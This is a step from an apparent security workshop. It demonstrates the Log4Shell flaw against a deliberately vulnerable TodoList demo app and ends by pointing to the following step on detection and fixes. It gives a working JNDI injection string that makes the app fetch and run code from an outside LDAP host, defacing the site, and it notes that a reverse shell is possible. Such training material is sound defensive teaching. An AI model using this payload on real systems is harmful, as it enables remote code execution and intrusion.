The Goof
repo TodoList application includes various exploits to demonstrate the risks of open source vulnerabilities. We’ll demonstrate the infamous Log4Shell vulnerability as an example of an extremenly profific open source package with a critical CVE that was relatively easy to exploit and gives malicous actors a remote code execution (RCE) vector of attack.
This example is best exploited from your browser so open a tab and navigate to the todolist
application’s loadbalancer address with /todolist
appended to it. That hostname was stored in the TODOLIST_LB
variable during a prior section so you can easily get a string for the URL by echoing it out like this:
echo $TODOLIST_LB/todolist
34.174.166.26/todolist
When you open that URL in your browser, you should see the ToDoList welcome page
Click “Sign in” and log into the form with the following pre-populated user account:
In the search field enter the following string ${jndi:ldap://ldap.darkweb:80/#Vandalize}
and submit the search.
Immediately*, you can see that the header for the entire site has been modified to show a the hacker equivelent of graphiti!
* Sometimes the hacked header can take a few seconds to appear, if you don’t see the hacked page header immediately, try refreshing the page and/or navigating to another page in the app.
A full rundown of the Log4Shell issue is out of scope for this workshop but the high level description is:
${jndi:ldap://ldap.darkweb:80/#Vandalize}
string was encountered, log4j queried an LDAP server named ldap.darkweb
to ask for something named “/#Vandalize”The returned bytecode could have done far more mallicous things, not the least of which would be to open a remote, reverse shell into the container.
In the next step we will look into ways to catch and fix vulnerabilities like this.